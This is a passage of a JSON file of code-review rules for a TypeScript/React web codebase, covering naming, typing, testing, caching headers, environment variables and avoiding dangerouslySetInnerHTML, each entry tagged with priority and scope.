ad/tracking meta tags and config objects into a stripped-down view (like a preview) where they serve no purpose.","apiRule":"Don't carry over ad/tracking meta tags and config objects into a stripped-down view (like a preview) where they serve no purpose. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use exclusive routing middleware when a route is scoped to one context","rule":"If a route should only exist for one publication/tenant, register it with the exclusive middleware rather than the general resolver that exposes it everywhere.","apiRule":"If a route should only exist for one publication/tenant, register it with the exclusive middleware rather than the general resolver that exposes it everywhere. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Keep emit-related compiler options in the config that actually emits","rule":"Settings like noEmit and output paths belong in the tsconfig that performs the build, not in a base config that's only extended.","apiRule":"Settings like noEmit and output paths belong in the tsconfig that performs the build, not in a base config that's only extended. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Give a Map's value a named type instead of a bare primitive","rule":"Wrap a Map value in a named type or object so Map<number, X> documents what the value means rather than an opaque boolean.","apiRule":"Wrap a Map value in a named type or object so Map<number, X> documents what the value means rather than an opaque boolean. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Import individual lodash functions rather than the whole library","rule":"Import only the lodash functions you use so bundlers can tree-shake instead of pulling in all of lodash.","apiRule":"Import only the lodash functions you use so bundlers can tree-shake instead of pulling in all of lodash. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid adding a dependency that overlaps one you already have","rule":"Before adding a package, confirm it isn't duplicating functionality of an existing dependency.","apiRule":"Before adding a package, confirm it isn't duplicating functionality of an existing dependency. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Type a field as nullable when the source can return null","rule":"If an upstream can return null for a field despite its documented contract, reflect that in the type (string | null) so consumers handle it.","apiRule":"If an upstream can return null for a field despite its documented contract, reflect that in the type (string | null) so consumers handle it. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Don't substitute an empty string for a missing auth token","rule":"If a required token is absent, handle that case explicitly rather than sending an empty-string header that silently produces a bad request.","apiRule":"If a required token is absent, handle that case explicitly rather than sending an empty-string header that silently produces a bad request. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Use a const-asserted array plus a type guard to narrow a string against allowed values","rule":"Array.includes on an `as const` array won't narrow a plain string in TypeScript; add a small type guard so the check both validates and narrows.","apiRule":"Array.includes on an `as const` array won't narrow a plain string in TypeScript; add a small type guard so the check both validates and narrows. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Read environment values on the server and pass them to the client as props","rule":"Client code can't read server-only env vars; resolve them server-side and pass the value down rather than hardcoding a host.","apiRule":"Client code can't read server-only env vars; resolve them server-side and pass the value down rather than hardcoding a host. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Model a filter as a query parameter rather than a separate route","rule":"Use a query param for a list filter/category instead of minting distinct pages, which avoids ambiguous URLs and duplicated routing.","apiRule":"Use a query param for a list filter/category instead of minting distinct pages, which avoids ambiguous URLs and duplicated routing. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Recover from errors by refetching data, not reloading the whole page","rule":"On a failed widget request, prefer re-running the data fetch (or re-issuing the token) over forcing a full page reload.","apiRule":"On a failed widget request, prefer re-running the data fetch (or re-issuing the token) over forcing a full page reload. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Place a component file where its actual parent lives","rule":"Keep a component's file inside the folder of the component that actually renders it, not under an unrelated sibling.","apiRule":"Keep a component's file inside the folder of the component that actually renders it, not under an unrelated sibling. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Name boolean variables with clear affirmative intent","rule":"Prefer a positively phrased, descriptive boolean name (isUserAuthenticated) over vague or negated names.","apiRule":"Prefer a positively phrased, descriptive boolean name (isUserAuthenticated) over vague or negated names. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Extract a repeated responsive media-query check into a shared hook","rule":"When the same breakpoint media-query check is copied across components, centralize it in a reusable hook like useIsMobile.","apiRule":"When the same breakpoint media-query check is copied across components, centralize it in a reusable hook like useIsMobile. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Share one source-of-truth type instead of duplicating type definitions","rule":"Derive related types from a single shared type (via Exclude/Extract) so a change in one place forces TypeScript to flag every dependent spot.","apiRule":"Derive related types from a single shared type (via Exclude/Extract) so a change in one place forces TypeScript to flag every dependent spot. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Build a reusable image-with-fallback component with onError handling","rule":"When a fallback image/initial pattern recurs, extract a component that renders a fallback and handles onError for broken sources.","apiRule":"When a fallback image/initial pattern recurs, extract a component that renders a fallback and handles onError for broken sources. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Validate a date string before relying on the parsed Date","rule":"TypeScript won't catch an invalid date string passed to new Date(); validate it in the consuming code.","apiRule":"TypeScript won't catch an invalid date string passed to new Date(); validate it in the consuming code. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Don't return a value that callers always ignore","rule":"If a function's return value is never used, either use it or don't return it, so the signature reflects reality.","apiRule":"If a function's return value is never used, either use it or don't return it, so the signature reflects reality. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't build a URL via new URL().toString() when a template literal suffices","rule":"For straightforward URLs use a plain template string instead of constructing a URL object only to stringify it.","apiRule":"For straightforward URLs use a plain template string instead of constructing a URL object only to stringify it. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Give env vars descriptive names and document them in the template","rule":"Name environment variables clearly and add a comment plus example value in the env template (when not secret).","apiRule":"Name environment variables clearly and add a comment plus example value in the env template (when not secret). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Debounce search-as-you-type and reset pagination on new queries","rule":"Don't fire a request on every keystroke; debounce input and reset the page to the first when the query changes.","apiRule":"Don't fire a request on every keystroke; debounce input and reset the page to the first when the query changes. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Make placeholder and helper text match actual capability","rule":"Don't advertise a search field or input as supporting input it can't actually handle.","apiRule":"Don't advertise a search field or input as supporting input it can't actually handle. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Mark methods that aren't always implemented as optional","rule":"If an interface method isn't always present, declare it optional (or use an abstract class) rather than forcing every implementer.","apiRule":"If an interface method isn't always present, declare it optional (or use an abstract class) rather than forcing every implementer. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Avoid a multi-key classes prop; prefer semantic markup with one root class","rule":"Instead of exposing a classes object to style internals, use a single root className plus semantic elements you can target in CSS.","apiRule":"Instead of exposing a classes object to style internals, use a single root className plus semantic elements you can target in CSS. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Store a boolean error flag when you only need to know it failed","rule":"If the UI only cares whether an error happened, set a boolean rather than stashing the error object.","apiRule":"If the UI only cares whether an error happened, set a boolean rather than stashing the error object. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Pass date strings as props and parse at point of use","rule":"Prefer passing a date string between components and converting to a Date where you actually need it, validating it in the consumer.","apiRule":"Prefer passing a date string between components and converting to a Date where you actually need it, validating it in the consumer. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't reference process.env in browser-only code","rule":"Client code can't access process; use a build-injected value, a passed config, or a relative path instead.","apiRule":"Client code can't access process; use a build-injected value, a passed config, or a relative path instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Do not combine contradictory Cache-Control directives","rule":"Directives like max-age and no-store contradict each other; pick the one that matches the caching intent.","apiRule":"Directives like max-age and no-store contradict each other; pick the one that matches the caching intent. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Satisfy consistent-return in effects with explicit returns","rule":"useEffect should return a cleanup function or nothing; when other branches return, use return undefined to keep the rule happy.","apiRule":"useEffect should return a cleanup function or nothing; when other branches return, use return undefined to keep the rule happy. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Collapse redundant chained replaces into a single regex pass","rule":"If two sequential replaces achieve one transformation (e.g. whitespace then space-to-dash), combine them into one regex.","apiRule":"If two sequential replaces achieve one transformation (e.g. whitespace then space-to-dash), combine them into one regex. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid redundant wrapper elements by passing classes to the inner component","rule":"Instead of wrapping a component in an extra div just for a class, pass the className to the component directly.","apiRule":"Instead of wrapping a component in an extra div just for a class, pass the className to the component directly. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Add tests for boundary values and guarantee no crash on invalid input","rule":"Cover edge cases like zero, negatives, and large numbers, and verify that passing invalid input does not throw a 500.","apiRule":"Cover edge cases like zero, negatives, and large numbers, and verify that passing invalid input does not throw a 500. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Test functions with inputs that represent their real accepted types","rule":"Exercise a function with the kinds of inputs it actually accepts (e.g. a Date for a Moment-input parser), not just the type that happens to be returned, so the test proves real behavior.","apiRule":"Exercise a function with the kinds of inputs it actually accepts (e.g. a Date for a Moment-input parser), not just the type that happens to be returned, so the test proves real behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Name test cases by the function under test, not by the exact expected value","rule":"Keep test names focused on the behavior/function being tested rather than embedding the specific literal value asserted.","apiRule":"Keep test names focused on the behavior/function being tested rather than embedding the specific literal value asserted. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Compare values of the same type rather than relying on loose equality","rule":"When comparing two values, cast both to the same type (string or number) so a strict comparison is meaningful.","apiRule":"When comparing two values, cast both to the same type (string or number) so a strict comparison is meaningful. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Remove the else branch after an early return","rule":"When an if branch returns, drop the else and let the following code run at the top level for flatter, clearer flow.","apiRule":"When an if branch returns, drop the else and let the following code run at the top level for flatter, clearer flow. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Drop get/render prefixes from identifiers that are no longer functions","rule":"When a getter is refactored into a plain value, rename it to drop the verb prefix so the name reflects what it is.","apiRule":"When a getter is refactored into a plain value, rename it to drop the verb prefix so the name reflects what it is. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Do not use dangerouslySetInnerHTML when rendering plain children works","rule":"Render text/content as normal JSX children instead of dangerouslySetInnerHTML, which opens an XSS hole and is unnecessary for non-HTML strings.","apiRule":"Render text/content as normal JSX children instead of dangerouslySetInnerHTML, which opens an XSS hole and is unnecessary for non-HTML strings. Improves readability, safety, or correctness compared to the bad example. Priority: P0. Scope: stack specific.","whenToApply":"Priority: P0. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p0","scope":"stack-specific"},{"title":"Use a 301 status for permanent redirects","rule":"When a URL has permanently moved (e.g. canonicalizing a profile/author URL), redirect with status 301 instead of the default temporary redirect.","apiRule":"When a URL has permanently moved (e.g. canonicalizing a profile/author URL), redirect with status 301 instead of the default temporary redirect. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Type function components by usage rather than forcing React.FC","rule":"You don't need to annotate a function component with React.FC just to validate its return; TypeScript flags an invalid React node where it's rendered, so add the annotation only when authoring shared/library components.","apiRule":"You don't need to annotate a function component with React.FC just to validate its return; TypeScript flags an invalid React node where it's rendered, so add the annotation only when authoring shared/library components. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Only coerce with !! when the target value is actually a boolean","rule":"!! converts a value to a boolean, which is fine for boolean props/conditions, but don't apply it when the API expects a non-boolean value (it would discard the real value).","apiRule":"!! converts a value to a boolean, which is fine for boolean props/conditions, but don't apply it when the API expects a non-boolean value (it would discard the real value). Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Favor named components over deeply inline div markup in render","rule":"Extract chunks of JSX (especially conditional div soup) into named components whose name says what they are and whose props say what they need; it reads far better than raw nested tags.","apiRule":"Extract chunks of JSX (especially conditional div soup) into named components whose name says what they are and whose props say what they need; it reads far better than raw nested tags. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't import server-only types or modules into client code","rule":"Keep server and client boundaries clean: importing server-only types/modules into a client bundle drags in server dependencies and breaks the build; define shared types in a neutral location.","apiRule":"Keep server and client boundaries clean: importing server-only types/modules into a client bundle drags in server dependencies and breaks the build; define shared types in a neutral location. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Enable the strict umbrella flag rather than individual strict sub-flags","rule":"Turning on strict in tsconfig already enables all its constituent strict checks, so set strict instead of listing them individually; also consider forceConsistentCasingInFileNames.","apiRule":"Turning on strict in tsconfig already enables all its constituent strict checks, so set strict instead of listing them individually; also consider forceConsistentCasingInFileNames. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Don't put NODE_ENV in .env; set it explicitly per script","rule":"NODE_ENV is conventionally set per-command (or overridden manually), not stored in .env, because a forgotten committed value can cause confusing, hard-to-diagnose behavior.","apiRule":"NODE_ENV is conventionally set per-command (or overridden manually), not stored in .env, because a forgotten committed value can cause confusing, hard-to-diagnose behavior. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Keep one component per file and define non-reusable JSX outside the render body","rule":"Favor one component per file; small non-reusable JSX may stay in the same file but should be defined outside the component body (ideally as a pure function) so it isn't recreated each render and can be extracted later.","apiRule":"Favor one component per file; small non-reusable JSX may stay in the same file but should be defined outside the component body (ideally as a pure function) so it isn't recreated each render and can be extracted later. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Define functions and methods before they are used in a file","rule":"Order declarations so a function appears before the code that calls it; reading top-to-bottom is easier than jumping around for definitions.","apiRule":"Order declarations so a function appears before the code that calls it; reading top-to-bottom is easier than jumping around for definitions. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Name methods descriptively; reserve generic get for accessor semantics","rule":"Avoid a bare get() for methods that compute/derive data; a name like getArticleRenderData communicates intent, and get() conventionally implies a keyed/array/singleton accessor.","apiRule":"Avoid a bare get() for methods that compute/derive data; a name like getArticleRenderData communicates intent, and get() conventionally implies a keyed/array/singleton accessor. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Implement stateless service/provider classes as singletons or static, consistently","rule":"When a service or provider class is never meant to have multiple instances, make it a singleton or a static class, and apply the same pattern across all such classes.","apiRule":"When a service or provider class is never meant to have multiple instances, make it a singleton or a static class, and apply the same pattern across all such classes. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Use reduce only when aggregating into a single value","rule":"Prefer map/filter/loops for transforming arrays; reserve reduce for genuinely collapsing many items into one value, since complex reduces are hard to read later.","apiRule":"Prefer map/filter/loops for transforming arrays; reserve reduce for genuinely collapsing many items into one value, since complex reduces are hard to read later. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Use test.each for tables of similar test cases","rule":"When several tests differ only by input/expected values, drive them with test.each instead of copy-pasting near-identical test bodies.","apiRule":"When several tests differ only by input/expected values, drive them with test.each instead of copy-pasting near-identical test bodies. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Don't add optional chaining in tests; mock dependencies and assert on known shapes","rule":"Tests should control their inputs and outcomes, so avoid defensive optional chaining; mock third-party calls and assert against the expected, deterministic shape.","apiRule":"Tests should control their inputs and outcomes, so avoid defensive optional chaining; mock third-party calls and assert against the expected, deterministic shape. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Avoid single-letter type names outside of generics","rule":"Give types descriptive names (e.g. SomethingProps); reserve single letters for generic type parameters only.","apiRule":"Give types descriptive names (e.g. SomethingProps); reserve single letters for generic type parameters only. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: stack specific.","whenToApply":"Priority: P2. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"stack-specific"},{"title":"Write sort comparators that return 0 for equal items","rule":"A sort comparator should return a negative, zero, or positive number; use subtraction so equal keys yield 0 rather than an arbitrary nonzero value.","apiRule":"A sort comparator should return a negative, zero, or positive number; use subtraction so equal keys yield 0 rather than an arbitrary nonzero value. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Pass serializable literal props and never mutate props","rule":"With server-side rendering, non-literal prop values (like URL objects) get coerced to strings, so prefer serializable literals; and never reassign properties of props — copy into a local variable instead.","apiRule":"With server-side rendering, non-literal prop values (like URL objects) get coerced to strings, so prefer serializable literals; and never reassign properties of props — copy into a local variable instead. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use a ref to access React-managed DOM nodes instead of querying the document","rule":"When an element is rendered and managed by React, reach it via useRef rather than document.querySelector so you target that exact node and stay within React's model.","apiRule":"When an element is rendered and managed by React, reach it via useRef rather than document.querySelector so you target that exact node and stay within React's model. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Narrow DOM types with instanceof instead of as assertions","rule":"Avoid `as` type assertions on DOM lookups; use `instanceof` checks (or the already-correct return type) so TypeScript actually verifies the type at runtime.","apiRule":"Avoid `as` type assertions on DOM lookups; use `instanceof` checks (or the already-correct return type) so TypeScript actually verifies the type at runtime. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: stack specific.","whenToApply":"Priority: P1. Scope: stack specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"stack-specific"},{"title":"Use + not * when at least one character is required, and name validators to match their semantics","rule":"A trailing * quantifier matches the empty string, so it validates as true for empty input; use + when one or more characters are required, and name the validator to reflect whether empty is allowed.","apiRule":"A trailing * quantifier matches the empty string, so it validates as true for empty input; use + when one or more characters are required, and name the validator to reflect whether empty is allowed. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Reuse the project's asset loader mixin instead of inlining assets","rule":"Use the established mixin/helper for loading icons or assets rather than hand-rolling the same inclusion.","apiRule":"Use the established mixin/helper for loading icons or assets rather than hand-rolling the same inclusion. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: project specific.","whenToApply":"Priority: P2. Scope: project specific. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"project-specific"},{"title":"Handle the fallthrough state so a render branch can't crash","rule":"Make sure an else/fallback branch can't be reached with data it isn't prepared to render, or guard it explicitly.","apiRule":"Make sure an else/fallback branch can't be reached with data it isn't prepared to render, or guard it explicitly. Improves readability, safety, or correctness compared to the bad example. Priority: P1. Scope: universal.","whenToApply":"Priority: P1. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p1","scope":"universal"},{"title":"Put reusable content transforms in a shared util, not in components","rule":"Place HTML/data transformation logic in the shared utility/processing layer rather than inline in a component.","apiRule":"Place HTML/data transformation logic in the shared utility/processing layer rather than inline in a component. Improves readability, safety, or correctness compared to the bad example. Priority: P2. Scope: universal.","whenToApply":"Priority: P2. Scope: universal. Use when you encounter code similar to the bad example.","whyItMatters":"Improves readability, safety, or correctness compared to the bad example.","priority":"p2","scope":"universal"},{"title":"Verify the `this` binding passed into callbacks","rule":"Confirm what `this` refers to when handing it to another function; an unintended binding silently breaks behavior.","apiRule":"Confirm what `this` refers to when handing it to another function; an unintended binding silently breaks behavior. Improves readability, safety, or correctness compared to the 